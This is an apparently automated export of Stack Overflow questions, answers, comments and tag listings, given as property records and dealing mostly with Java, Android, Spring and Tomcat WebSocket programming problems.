has body: I've got a vertically orientated LinearLayout with two components: First a ListView and beneath a Button. I want the ListView to fill so much space that still the button fits beneath. In originally Java (Swing) using the BorderLayout that would be something like setting the ListView to the center and the Button to the south. How is that possible in out android context?
type: Question
answer count: 2
tagged with: layout
has answer: http://stackoverflow.com/a/22295196
accepted answer: http://stackoverflow.com/a/22295196
has answer: http://stackoverflow.com/a/22295346
score: 0
tagged with: android
has title: Android: Button to the south

http://stackoverflow.com/comment/33864654
comment on: http://stackoverflow.com/a/22280145
has text: @DavidWallace: The code still isn't quite correct, though. I found another edge case I missed. A representable integer can have a square that isn't representable. If you take the closest double approximation of the square of such a number and feed it through this code, it will report a false positive. I *think* this can be fixed by examining the significand of the square root directly and determining whether precision loss would occur when it's squared. Who knows what else I might miss, though?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22252717
has comment: http://stackoverflow.com/comment/33872676
score: 3
type: Answer
has body: // Compiled from AbstractPartialFunction.scala (version 1.6 : 50.0, super bit) // Signature: &lt;T1:Ljava/lang/Object;R:Ljava/lang/Object;&gt;Ljava/lang/Object;Lscala/Function1&lt;TT1;TR;&gt;;Lscala/PartialFunction&lt;TT1;TR;&gt;; @scala.reflect.ScalaSignature(bytes="some bytes...") public abstract class scala.runtime.AbstractPartialFunction implements scala.PartialFunction { The signature of the type is roughly equivalent to this Java declaration: class AbstractPartialFunction implements PartialFunction, Function1 {} PartialFunction extends Function1: // Compiled from PartialFunction.scala (version 1.6 : 50.0, no super bit) // Signature: &lt;A:Ljava/lang/Object;B:Ljava/lang/Object;&gt;Ljava/lang/Object;Lscala/Function1&lt;TA;TB;&gt;; @scala.reflect.ScalaSignature(bytes="some bytes...") public abstract interface scala.PartialFunction extends scala.Function1 { Here is the structure of a Java class file: ClassFile { u4 magic; u2 minor_version; u2 major_version; u2 constant_pool_count; cp_info constant_pool[constant_pool_count-1]; u2 access_flags; u2 this_class; u2 super_class; u2 interfaces_count; u2 interfaces[interfaces_count]; u2 fields_count; field_info fields[fields_count]; u2 methods_count; method_info methods[methods_count]; u2 attributes_count; attribute_info attributes[attributes_count]; } The interfaces the type implements are stored in the constant pool and recorded by references in the interfaces array: The class signature is stored as an attribute in the attributes array: The Signature attribute records generic signature information for any class, interface, constructor or member whose generic signature in the Java programming language would include references to type variables or parameterized types. So here's my educated guess about what is happening: Class.getInterfaces() returns the values from the interfaces array Class.getGenericInterfaces() builds its return value using the type signature the Scala compiler removes Function1 from the interfaces arr…
accepted answer of: http://stackoverflow.com/q/22250619
upvote count: 3
answers question: http://stackoverflow.com/q/22250619
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/22258116
has comment: http://stackoverflow.com/comment/33806492
accepted answer of: http://stackoverflow.com/q/22257784
type: Answer
answers question: http://stackoverflow.com/q/22257784
upvote count: 1
has body: structs are similar to classes in the sense that you can view the members of a struct as public fields of a class. Because this struct has no name you only have the instances at the end of the struct's declaration (s1 and s2) because you'd need the struct's name to make instances in other places. In order to assign values to the members of the instances you need to access them through the instance (s1 or s2). You can compare it with the following Java scenario: you have a class with three public fields: val1, val2 and val3 and you have two instances of your class: s1 and s2. In order to assign values to your instances you need to access the members through the instances: s1.val1 = 5; s2.val3 = 3.14; The fact that the struct is nameless only means that you can't make other instances besides the ones at the end of the declaration, but has no effect on how you access the members of instances.
downvote count: 0
has comment: http://stackoverflow.com/comment/33806572
type: AcceptedAnswer
score: 1

http://stackoverflow.com/q/22265102
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33819709
linked to: http://stackoverflow.com/q/2238272
accepted answer: http://stackoverflow.com/a/22265833
score: 1
tagged with: java
tagged with: concurrency
has title: How can i make one thread out of several run for maximum time(minimum time in waiting queue)?
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33826681
favorite count: 0
has answer: http://stackoverflow.com/a/22265833
type: AnsweredQuestion
tagged with: multithreading
has body: So, I am building an application(for machine simulator). It consists of 8 threads.Out of which one thread represents main machine. I want this thread to run for maximum time i.e. maximum CPU time should be given to this thread by thread scheduler. If I put this thread to sleep it should have very less waiting time. One of the way to achieve this would to dedicate a processor core to this thread but thread affinity can not be set in JAVA. The only option I see for doing this is to set this thread's priority to MAXIMUM. is there any other way to achieve this?

http://stackoverflow.com/comment/33822003
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22265974
score: 0
has text: @basin That's probably with fairly high end disk and CPU, and enough memory, and no other disk-intensive operations happening at the same time. And real data is probably with many more fields. Adding a multiplier for some of these, it's easy to get to 30 times longer run time.

http://stackoverflow.com/a/22480712
score: 0
answers question: http://stackoverflow.com/q/22242897
type: Answer
accepted answer of: http://stackoverflow.com/q/22242897
has body: I've solved my problem. It's not easy way. I've download android source codes and compile it. Then i get jar file with compiled classes and set as library for my project. I know that it's crazy solution :) but i don't found another way.
type: AcceptedAnswer

http://stackoverflow.com/comment/34122223
comment on: http://stackoverflow.com/a/22302644
score: 0
type: AnswerComment
type: Comment
has text: Thank you sir, I changed my os successfully.. bosko mijin..

http://stackoverflow.com/a/22209843
downvote count: 0
has comment: http://stackoverflow.com/comment/33720310
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22208936
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22208936
has comment: http://stackoverflow.com/comment/33732971
has body: The Java Specification Request 198 "A Standard Extension API for Integrated Development Environments" was released in 2006. However, nothing major seems to have happened from then. So, basically the answer is no.
type: Answer
score: 2

http://stackoverflow.com/comment/33870001
type: QuestionComment
has text: okay sorry about that.
comment on: http://stackoverflow.com/q/22293137
score: 0
type: Comment

integer
tags question: http://stackoverflow.com/q/22321659
tags question: http://stackoverflow.com/q/22222263
tags question: http://stackoverflow.com/q/22324993
tags question: http://stackoverflow.com/q/22273880
tags question: http://stackoverflow.com/q/22217470
tags question: http://stackoverflow.com/q/22248716
tags question: http://stackoverflow.com/q/22184546
tag name: integer
tags question: http://stackoverflow.com/q/22210232
tags question: http://stackoverflow.com/q/22324080
tags question: http://stackoverflow.com/q/22308978
type: Tag

http://stackoverflow.com/comment/33896635
type: AnswerComment
comment on: http://stackoverflow.com/a/22300394
type: Comment
has text: Thank you for your reply but can you tell me how to put them in my Classpath because in my Java code I put this : import com.google.android.maps.GeoPoint; import com.google.android.maps.*; import com.google.android.GSM.maps.MapView; but It does not work...same error... Can you help me please ? REGARDS.
score: 0

http://stackoverflow.com/comment/33786598
has text: Can you post the stack trace and highlight which line in your code the exception is happening?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22247253

http://stackoverflow.com/comment/39416268
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22278620
has text: http://stackoverflow.com/questions/24105852/java-lang-nosuchfielderror-ibm-java-for-a-simple-hbase-java-client-in-eclipse/25291838#25291838

servlets
tags question: http://stackoverflow.com/q/22326125
tags question: http://stackoverflow.com/q/22188285
tags question: http://stackoverflow.com/q/22198522
tags question: http://stackoverflow.com/q/22310687
tags question: http://stackoverflow.com/q/22297843
tags question: http://stackoverflow.com/q/22271103
tags question: http://stackoverflow.com/q/22174560
tags question: http://stackoverflow.com/q/22212901
tags question: http://stackoverflow.com/q/22226118
tags question: http://stackoverflow.com/q/22229010
tags question: http://stackoverflow.com/q/22223933
tags question: http://stackoverflow.com/q/22255508
tags question: http://stackoverflow.com/q/22283782
tags question: http://stackoverflow.com/q/22317485
tags question: http://stackoverflow.com/q/22323628
tags question: http://stackoverflow.com/q/22203056
tags question: http://stackoverflow.com/q/22291021
tags question: http://stackoverflow.com/q/22173282
tags question: http://stackoverflow.com/q/22189077
tags question: http://stackoverflow.com/q/22183655
tags question: http://stackoverflow.com/q/22323988
tags question: http://stackoverflow.com/q/22296126
tags question: http://stackoverflow.com/q/22269097
tags question: http://stackoverflow.com/q/22210198
tags question: http://stackoverflow.com/q/22322793
tags question: http://stackoverflow.com/q/22216137
tags question: http://stackoverflow.com/q/22269623
tags question: http://stackoverflow.com/q/22321790
tags question: http://stackoverflow.com/q/22323986
tags question: http://stackoverflow.com/q/22227213
tags question: http://stackoverflow.com/q/22285761
tags question: http://stackoverflow.com/q/22194142
tags question: http://stackoverflow.com/q/22173186
tags question: http://stackoverflow.com/q/22180399
tags question: http://stackoverflow.com/q/22190631
tags question: http://stackoverflow.com/q/22209712
tags question: http://stackoverflow.com/q/22191007
tags question: http://stackoverflow.com/q/22311374
tags question: http://stackoverflow.com/q/22292148
tags question: http://stackoverflow.com/q/22232168
tags question: http://stackoverflow.com/q/22203657
tags question: http://stackoverflow.com/q/22183463
tags question: http://stackoverflow.com/q/22298045
tags question: http://stackoverflow.com/q/22226704
tags question: http://stackoverflow.com/q/22236774
tags question: http://stackoverflow.com/q/22324416
tags question: http://stackoverflow.com/q/22259270
tags question: http://stackoverflow.com/q/22296907
tags question: http://stackoverflow.com/q/22230093
tags question: http://stackoverflow.com/q/22199504
tags question: http://stackoverflow.com/q/22196385
tags question: http://stackoverflow.com/q/22226329
tags question: http://stackoverflow.com/q/22263525
tags question: http://stackoverflow.com/q/22208008
tags question: http://stackoverflow.com/q/22291894
tags question: http://stackoverflow.com/q/22320678
tags question: http://stackoverflow.com/q/22318706
tags question: http://stackoverflow.com/q/22300257
tags question: http://stackoverflow.com/q/22213108
tags question: http://stackoverflow.com/q/22192359
tags question: http://stackoverflow.com/q/22202605
tags question: http://stackoverflow.com/q/22180128
tags question: http://stackoverflow.com/q/22234128
tags question: http://stackoverflow.com/q/22316772
tag name: servlets
tags question: http://stackoverflow.com/q/22172328
tags question: http://stackoverflow.com/q/22318682
tags question: http://stackoverflow.com/q/22180212
tags question: http://stackoverflow.com/q/22179605
tags question: http://stackoverflow.com/q/22323167
tags question: http://stackoverflow.com/q/22248051
tags question: http://stackoverflow.com/q/22296729
tags question: http://stackoverflow.com/q/22242287
tags question: http://stackoverflow.com/q/22322362
tags question: http://stackoverflow.com/q/22179086
type: Tag
tags question: http://stackoverflow.com/q/22205629
tags question: http://stackoverflow.com/q/22317434
tags question: http://stackoverflow.com/q/22188497
tags question: http://stackoverflow.com/q/22216560

http://stackoverflow.com/comment/33886224
score: 0
comment on: http://stackoverflow.com/a/22302430
type: Comment
has text: What are you talking about ? "intArray" is the array he is using to sort the values sum of all "the other elements in the array" that are not equal to the element. In his case its called input
type: AnswerComment

http://stackoverflow.com/comment/33708411
comment on: http://stackoverflow.com/q/22203957
type: Comment
type: QuestionComment
has text: I'd suggest using a native Java SSH library -- there are several -- rather than trying to go through the command-line tooling.
score: 0

http://stackoverflow.com/comment/35204085
has text: Thank you very much. Installing Latest Eclipse 4.3 `Kepler` and App Engine SDK 1.9.2 solves the issue.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22305922
type: Comment

http://stackoverflow.com/comment/33908118
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22311650
type: QuestionComment
has text: A jar is just a zipfile with classes in it. It doesn't "do" anything on its own. License checking is something you'd do in your application code; it has nothing to do with the jar format.

http://stackoverflow.com/a/22245440
type: AcceptedAnswer
has body: Solution: final int step = 3; for (int s = 0; s &lt; 50; s += step * 2) { System.out.println("Even number"); for (int i = 0; i &lt; step; i++) { System.out.println(s + i * 2); } System.out.println("Odd number"); for (int i = 0; i &lt; step; i++) { System.out.println(s + i * 2 + 1); } }
answers question: http://stackoverflow.com/q/22245124
type: Answer
has comment: http://stackoverflow.com/comment/33783795
accepted answer of: http://stackoverflow.com/q/22245124
downvote count: 1
has comment: http://stackoverflow.com/comment/33784917
score: -1
upvote count: 0

http://stackoverflow.com/comment/38625857
comment on: http://stackoverflow.com/a/23578818
has text: This is correct -- hadoop-auth-X.jar is missing from your class path. I was using Spark, and had to add to add the jar to `SPARK_CLASSPATH` in `spark-env.sh` like so: `export SPARK_CLASSPATH="$SPARK_CLASSPATH:/root/shark/lib_managed/jars/org.apache.hadoop/hadoop-auth/hadoop-auth-2.3.0-cdh5.0.0.jar"`
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22189058
score: 0
answers question: http://stackoverflow.com/q/22188997
has body: The first JSON string you have is a JSON array. There is no need of identifiers, only indices. You iterate over each element, doing whatever you want with it. JSONArray array = new JSONArray(yourJson); for (int i = 0; i &lt; array.length(); i++) { array.get(i); // and do whatever } Looking at the JSON array elements themselves, it seems like you'll need to parse them and split them to retrieve the course number. You can then use that in your second service.
type: Answer

http://stackoverflow.com/comment/33922259
score: 0
type: Comment
has text: In that case the first one will work `sample.getMatrix().add(points)` and the sample object must be created only once.
comment on: http://stackoverflow.com/a/22316444
type: AnswerComment

http://stackoverflow.com/comment/34834208
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22314396
type: Comment
has text: Thank you for your answer. I'm accepting it as it helped me the most. In the end, I manually found a few repetitive patterns in the data, I merged them first and then I used the "best of x random naive passes" approach. Worked well.

http://stackoverflow.com/comment/33686893
has text: @SotiriosDelimanolis No, I am not confusing them. The String class is final and therefore no methods can be either overloaded or overridden. Besides the point that it was unneccessary for the purposes of the question. Although it would be nice to be able to override the method to suppurt negative input and interpret it as 'length - n'.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22187613

http://stackoverflow.com/comment/33909569
comment on: http://stackoverflow.com/a/22315079
type: AnswerComment
score: 0
type: Comment
has text: Thank you! Allow me 7 minutes before I can accept you as a answer.

http://stackoverflow.com/comment/33862943
type: QuestionComment
type: Comment
has text: actually `it.next()` should return an instance of Car. What do you want to do with it? How do you want to construct the final String result?
comment on: http://stackoverflow.com/q/22286878
score: 0

http://stackoverflow.com/q/22208766
has comment: http://stackoverflow.com/comment/33735212
answer count: 1
has title: Handle click event outside popup
has answer: http://stackoverflow.com/a/22274764
tagged with: gwt
type: AnsweredQuestion
score: 0
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22274764
tagged with: javascript
has body: How would you handle a click event outside of a "popup", I am actually using LinkedIn Hopscotch wrapper for GWT. The idea is when user clicks outside of the popup (i.e. outside .hopscotch-bubble-container) the popup should hide. Calling GwtTour.endTour(false); eventually cause the popup to hide. This is fine, however, I also need to make when "dashboardLink" menu item is also clicked; this $("html").bind("click",...) should also not be called. Which it is called, not sure why. Code: private void bindHandlers(){ // Handle when click event came from here $(".hopscotch-bubble-container").bind("click", new com.google.gwt.query.client.Function() { @Override public boolean f(com.google.gwt.user.client.Event e) { e.stopPropagation(); return false; } }); $("#dashboardLink").bind("click", new com.google.gwt.query.client.Function() { @Override public boolean f(com.google.gwt.user.client.Event e) { e.stopPropagation(); return false; } }); // This event handler closes the GWT Tour // when user click outside of it $("html").bind("click", new com.google.gwt.query.client.Function() { @Override public boolean f(com.google.gwt.user.client.Event e) { GwtTour.endTour(false); return true; } }); }

http://stackoverflow.com/comment/33743965
has text: i have got a whole new set of errors now in my log file, i am posting it in my updated question, please have a look
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22223084
type: Comment

http://stackoverflow.com/comment/33872642
comment on: http://stackoverflow.com/a/22294585
score: 0
type: Comment
has text: I believe it runs the command provided and then remains. I was actually thinking of cmd /C which carries out the command then terminates.
type: AnswerComment

http://stackoverflow.com/comment/33699274
type: QuestionComment
type: Comment
has text: @dasblinkenlight: since `ClusteringObject` is an abstract Class this doesn't work.
comment on: http://stackoverflow.com/q/22198829
score: 0

http://stackoverflow.com/q/22195341
has answer: http://stackoverflow.com/a/22195547
has title: Using placeholders in Annotations on Spring Java Configurations
type: Question
upvote count: 2
answer count: 1
has body: I'm a little bit lost in Spring's Property Replacement mechanism. Lets say I have this Java Config @Configuration @ComponentScan(basePackageClasses = Application.class) @PropertySources({ @PropertySource("classpath:/config/default.properties") }) public class ApplicationConfig { @Bean public static PropertySourcesPlaceholderConfigurer propertyPlaceholderConfigurer() { PropertySourcesPlaceholderConfigurer pspc = new PropertySourcesPlaceholderConfigurer(); return pspc; } Now I want to add a Spring-Data Annotation @EnableMongoRepositories and define a custom basepackage for scanning, using a custom placeholder like follows @EnableMongoRepositories("${my.custom.repobasepackage}"). The Placeholder is defined in my default.properties. However, this property cannot be resolved here. When diving deeper into Spring's property replacement, I can see that it tries to resolve the property, so it is possible to do so. However, the underlying Environment class which is used to replace the placeholder does not know about my PropertyPlaceholderConfigurer, but only know about my SystemProperties and my VM-Props. :-( I can see that in org.springframework.context.annotation.ClassPathBeanDefinitionScanner#getOrCreateEnvironment.java#339 (I'm using Spring 4.0.1) my "PropertyPlaceholder" is already in place, so its not a question of ordering in initialization, but is not used, because the used BeanDefinitionRegistry does not implement the Interface EnvironmentCapable. Here, my understanding of the Spring App-Context Bootstrapping is at the end. Can anybody help me out here? Is there a BeanDefinitionRegistry out there which is capable of providing the Environment Instance which uses my Property Placeholder? Any help is highly appreciated!! I got cookies for you! :-)) Cheers, Stefan
favorite count: 0
type: UnansweredQuestion
tagged with: spring-data-mongodb
tagged with: spring
score: 2
downvote count: 0
tagged with: java
tagged with: spring-data
tagged with: spring-java-config

http://stackoverflow.com/comment/33673800
has text: "memory costs energy"? What does that mean?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22183847

http://stackoverflow.com/comment/33832470
comment on: http://stackoverflow.com/a/22272506
score: 0
type: AnswerComment
type: Comment
has text: Ok, so each semicolon indicates that there is a statement, yet it does nothing?

http://stackoverflow.com/q/22311715
tagged with: serialization
has answer: http://stackoverflow.com/a/22329973
type: UnansweredQuestion
tagged with: spring
has title: JodaDateTime Serializer with Spring 4
type: Question
has body: I'm using Spring 4 and Joda Datetime. I have custom serializer, and I have annotate domain field with my serializer. @JsonSerialize(using=ISODateTimeSerializer.class) private DateTime date; And that is working fine. Now, I have need to use my services inside serializer. That means that I must register my serializer with Spring configuration. I tried a couple of different approaches, but none of them worked and injected service is always null. I have ApplicationConfiguration with couple of conf classes and I read that I must make ObjectMapper and register it. I was not able to find guide how to do it, do you know how that should be accomplished? UPDATE 1 My Serializer public class ISODateTimeSerializer extends JsonSerializer&lt;DateTime&gt; { @Inject private SecurityUtils securityUtils; private static DateTimeFormatter formatter = DateTimeFormat.forPattern("yyyy-MM-dd'T'HH:mm:ss"); @Override public void serialize(DateTime value, JsonGenerator generator, SerializerProvider arg2) throws IOException { UserSecurityWrapper user = securityUtils.getCurrentUser(); //... some logic generator.writeString(formatter.withZone(dateTimeZone).print(value)); } } My test configuration @Configuration public class ObjectMappingConfiguration { private static final Logger log = LoggerFactory.getLogger(ObjectMappingConfiguration.class); @Bean public String registerOM() { ObjectMapper mapper = new ObjectMapper(); SimpleModule testModule = new SimpleModule("MyModule", new Version(1, 0, 0, null)); testModule.addSerializer(new ISODateTimeSerializer()); mapper.registerModule(testModule); return "OK"; } } Thanks UPDATE 2 I tried this, and still no success. @Configuration public class ObjectMappingConfiguration { private static final Logger log = LoggerFactory.getLogger(ObjectMappingConfiguration.class); @Bean public Module apiJodaModule() { return new ApiJodaModule(); } @SuppressWarnings("serial") private static class ApiJodaModule extends SimpleModule { public ApiJodaModule() { addDeserializer(…
tagged with: java
has answer: http://stackoverflow.com/a/22312244
tagged with: jodatime
score: 0
answer count: 2

http://stackoverflow.com/comment/33811850
score: 0
comment on: http://stackoverflow.com/a/22236181
type: Comment
type: AnswerComment
has text: I agree to moving the files to an error folder but leaving them as their original location was a requirement.

http://stackoverflow.com/a/22235483
answers question: http://stackoverflow.com/q/22235067
has body: I was able to get the code you provided to work just fine. Jason C suggested calling flush() on your PrintWriters before closing them, and I concur.
score: 0
accepted answer of: http://stackoverflow.com/q/22235067
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/22182976
answers question: http://stackoverflow.com/q/22182877
type: Answer
upvote count: 1
score: 1
downvote count: 0
has body: Provide your program with a number of responses that can be reasonably interpreted as TRUE, and some that can be interpreted as FALSE. Reject all other responses as invalid responses. "Yes" is generally assumed to be TRUE, and "No" is generally assumed to be FALSE. Beyond that, there isn't really a convention. If the question is not a yes/no question, but some other question with only two valid responses, you have some options. An example question would be "Do you prefer rainy or sunny days?" In those cases, you may want to name some constants to correspond to the two possible answers like so: public static final boolean SUNNY = true; public static final boolean RAINY = false; Then you can compare the value later against the constants, and your code will still be clear as to what a true or a false value mean for a given variable.

http://stackoverflow.com/a/25666325
answers question: http://stackoverflow.com/q/22315391
type: Answer
has body: On your code at "line 25" the variable i and y refers to the same memory address, so if u take the option D, you will create a new object and i will point to a new memory adress, making any change to i to be independent of the first Inner object created and which variable y is still pointing :D
score: 0

http://stackoverflow.com/comment/33902359
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22283200
type: Comment
has text: Sorry, I missed the indefinite number in your question. I hope there aren't a LOT of public servers using SSL without good public-CA certs because it doesn't provide the security SSL is intended to, but if there are, then you'll have to go with your TrustManager-trusts-anything approach and accept the risk of sending your email to an imposter server run by a criminal.

http://stackoverflow.com/comment/33730803
type: QuestionComment
type: Comment
has text: I apologize. I am trying to input multiple arrays and have the program read me back those arrays. I have been unable to obtain this result. I keep getting one big array instead of a bunch of individuals ones.
score: 0
comment on: http://stackoverflow.com/q/22215045

http://stackoverflow.com/q/22237028
linked to: http://stackoverflow.com/q/20260416
linked to: http://stackoverflow.com/q/20067508
tagged with: java
type: Question
has body: I've been trying to get the absolute image path of a image selected in the gallery on KitKat but it doesn't seem to be working out. My variable IMAGE_FILEPATH is always "" after whatever I do. Here's the code for my onActivityResult() @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (resultCode != Activity.RESULT_OK) return; if (null == data) return; Uri originalUri = null; if (requestCode == 1) { //JB!!! Uri uri = data.getData(); if (uri != null) { try { // User had pick an image. String[] filePathColumn = { MediaStore.Images.Media.DATA }; Cursor cursor = getContentResolver() .query(uri, filePathColumn, null, null, null); cursor.moveToFirst(); IMAGE_FILEPATH = cursor.getString(0); cursor.close(); } catch (Exception e) { Crouton.makeText(this, "Failed to get image", Style.ALERT).show(); } } } else if (requestCode == 2) { //KK!!! Uri uri = data.getData(); if (uri != null) { try { if( uri == null ) { IMAGE_FILEPATH = uri.getPath(); } else { String[] projection = { MediaStore.Images.Media.DATA }; Cursor cursor = managedQuery(uri, projection, null, null, null); if( cursor != null ){ int column_index = cursor .getColumnIndexOrThrow(MediaStore.Images.Media.DATA); cursor.moveToFirst(); IMAGE_FILEPATH = cursor.getString(column_index); } else { IMAGE_FILEPATH = uri.getPath(); } } } catch (Exception e) { Crouton.makeText(this, "Failed to get image", Style.ALERT).show(); } } } Resource.toast(IMAGE_FILEPATH); super.onActivityResult(requestCode, resultCode, data); } What's going wrong? I've tried multiple solutions and nothing seems to work.
answer count: 2
has answer: http://stackoverflow.com/a/22237685
upvote count: 3
tagged with: android-4.4-kitkat
tagged with: android
accepted answer: http://stackoverflow.com/a/22238082
tagged with: android-image
favorite count: 0
tagged with: return
has title: Android KitKat Image selecting not returning anything
downvote count: 0
possible better answer: http://stackoverflow.com/a/22237685
has answer: http://stackoverflow.com/a/22238082
type: AnsweredQuestion
score: 3

http://stackoverflow.com/comment/91874412
type: Comment
comment on: http://stackoverflow.com/a/44106503
score: 0
type: AnswerComment
has text: I'm sorry. Stackoverflow didn't notify me of this. An excellent insight!

http://stackoverflow.com/a/39931811
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22322896
type: Answer
has body: It's simple, you need to add grow in you WindowBuilder. It looks like this: picture Click on this with your right mouse button and click on 'grow': picture Only objects with 'grow' are resizable.

http://stackoverflow.com/comment/33737480
comment on: http://stackoverflow.com/a/22220105
score: 0
type: AnswerComment
type: Comment
has text: wokay, I removed my answer, the title of the question was quite misleading.

http://stackoverflow.com/a/22311871
has body: Its unclear what youre asking but you need to rename your test class to avail of the mosleh method public class GradeBook {
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/22311806
upvote count: 3
type: Answer

http://stackoverflow.com/q/22281485
downvote count: 0
score: 1
has title: Set of filters to apply for answer extraction and selection?
tagged with: java
tagged with: nlp-question-answering
has body: I've been working on Open Source Ephyra code and incorporated the YQL API as a new source of KM. The problem is that Ephyra gives very brief answers. Even for open end questions like 'What is Chemistry?', I get one or two words brief answers i.e 'change of matter' or 'organic'. But such questions need to have more explanatory and detailed answers. Is there any way I can modify this to bring me more detailed answers? maybe by removing the some set of filter and adding other ones. This is the current list of filters by default: // - answer extraction filters AnswerSelection.addFilter(new AnswerTypeFilter()); AnswerSelection.addFilter(new AnswerPatternFilter()); AnswerSelection.addFilter(new WebDocumentFetcherFilter()); AnswerSelection.addFilter(new PredicateExtractionFilter()); AnswerSelection.addFilter(new FactoidsFromPredicatesFilter()); AnswerSelection.addFilter(new TruncationFilter()); // - answer selection filters AnswerSelection.addFilter(new StopwordFilter()); AnswerSelection.addFilter(new QuestionKeywordsFilter()); AnswerSelection.addFilter(new ScoreNormalizationFilter(NORMALIZER)); AnswerSelection.addFilter(new ScoreCombinationFilter()); AnswerSelection.addFilter(new FactoidSubsetFilter()); AnswerSelection.addFilter(new DuplicateFilter()); AnswerSelection.addFilter(new ScoreSorterFilter()); Additional filter i can use are: AnswerSelection.addFilter(new NumberOfKeywordsFilter()); AnswerSelection.addFilter(new ResultLengthFilter()); AnswerSelection.addFilter(new AdaptiveNumberOfKeywordsFilter()); AnswerSelection.addFilter(new DirectSpeechFilter()); AnswerSelection.addFilter(new NounPhraseFilter()); AnswerSelection.addFilter(new NuggetEvaluationFilter()); AnswerSelection.addFilter(new PreferNamedEntitiesFilter()); AnswerSelection.addFilter(new ProperNameFilter()); AnswerSelection.addFilter(new ResultLengthFilter()); AnswerSelection.addFilter(new ResultLengthSorterFilter()); AnswerSelection.addFilter(new SentenceSplitterFilter()); AnswerSelection.addFilter(new Su…
type: Question
tagged with: text-mining
tagged with: filter
upvote count: 1
tagged with: nlp
favorite count: 0
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/33671788
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22182684
type: Comment
has text: @Shijima It looks like the latest version may be compatible with Excel 2010. Try downloading version 1.7, and try the simple example in a DataReader class by including the jar in your buildpath and importing into your class.

http://stackoverflow.com/q/22170740
has comment: http://stackoverflow.com/comment/33655095
answer count: 1
has answer: http://stackoverflow.com/a/22171277
has comment: http://stackoverflow.com/comment/33654728
type: UnansweredQuestion
has body: I am trying to use MappedMemoryBuffer to store/delete portions of byte from the file. Atm, I use the following approach: I have a position in the buffer marking the end of the data in the file (buffer is a bit bigger than the file to accommodate for appending). Each data chunk is of fixed length, let's say 200 bytes. My first concern is "marking" of the end of the file. I can see two approaches to that: Use some sort of a marker denoting the end of the actual data, while file size can be bigger (due to the fact that I keep it slightly bigger for appending reasons). This might be tricky to come up with some sort of byte sequence that would be unique. Always make sure that the file we read in is "full" i.e. if that file is 2000 bytes, that means there are 10 messages in it and nothing more. That is even trickier I think, as we would have to constantly truncate the file size and with open memory buffer that is quite cumbersome (one cannot truncate the file size with open memory mapped file) That's why I would lean more towards one, unless anyone knows a better approach? Now, while appending is very simple, the deletion of random data chunk is not that straightforward. What I was thinking of doing was to shift the data to overwrite the deleted message. I simply move all the bytes to the right of message to the beginning of it. In general, is that the right strategy, or would anyone suggest something else or improvements to the concept?
has comment: http://stackoverflow.com/comment/33655034
tagged with: java
has comment: http://stackoverflow.com/comment/33655884
tagged with: random-access
tagged with: nio
has comment: http://stackoverflow.com/comment/33652872
type: Question
has comment: http://stackoverflow.com/comment/33656380
has comment: http://stackoverflow.com/comment/33655570
has title: Java NIO - truncation of MappedByteBuffer
tagged with: buffer
score: 0
has comment: http://stackoverflow.com/comment/33657415
tagged with: memory-mapped-files

http://stackoverflow.com/comment/33923763
has text: There is no new BufferedImage created in the code that I posted. A new array is created, but this array **contains** your original image. And it contains only 1 element (you can create arrays with arbitrary numbers of elements)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22322614
type: Comment

http://stackoverflow.com/q/22257079
accepted answer: http://stackoverflow.com/a/22346660
downvote count: 0
tagged with: websocket
tagged with: tomcat
has answer: http://stackoverflow.com/a/57660154
possible better answer: http://stackoverflow.com/a/40217750
favorite count: 0
has comment: http://stackoverflow.com/comment/54640426
has body: I am trying to implement some application based on websockets which will communicate with JS clients quite intensively. The code to send the message is quite primitive: synchronized (session) { if (session.isOpen()) { session.getBasicRemote().sendText(message); } } For rare sending it works just fine, but when few threads are trying to send some messages by the same session (socket), next exception is thrown (please note that it is not multithreading issue because code block is synchronized by session): java.lang.IllegalStateException: The remote endpoint was in state [TEXT_FULL_WRITING] which is an invalid state for called method at org.apache.tomcat.websocket.WsRemoteEndpointImplBase$StateMachine.checkState(WsRemoteEndpointImplBase.java:1015) at org.apache.tomcat.websocket.WsRemoteEndpointImplBase$StateMachine.textStart(WsRemoteEndpointImplBase.java:978) at org.apache.tomcat.websocket.WsRemoteEndpointImplBase.sendString(WsRemoteEndpointImplBase.java:161) at org.apache.tomcat.websocket.WsRemoteEndpointBasic.sendText(WsRemoteEndpointBasic.java:37) Google is not rich of such type of exceptions at the moment and after beating few hours on this issue, still no solution. Java 7.0.21, tested on Tomcat 7.0.52 and Tomcat 8.0.3. Any answer is highly appreciated! Thanks in advance. UPDATE 3/11/2014: I tested my application with Jetty 9.1 and this exception didn't occur. I assume that this is Tomcat implementation bug.
has title: Java WebSockets: The remote endpoint was in state [TEXT_FULL_WRITING]
tagged with: jsr356
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/40217750
score: 9
type: Question
upvote count: 9
answer count: 3
has answer: http://stackoverflow.com/a/22346660

http://stackoverflow.com/comment/33673023
comment on: http://stackoverflow.com/q/22183968
type: Comment
has text: I don't get what you are trying to do, and I don't get what you are having trouble with. Could you clarify both please?
score: 4
type: QuestionComment

http://stackoverflow.com/a/22238337
type: Answer
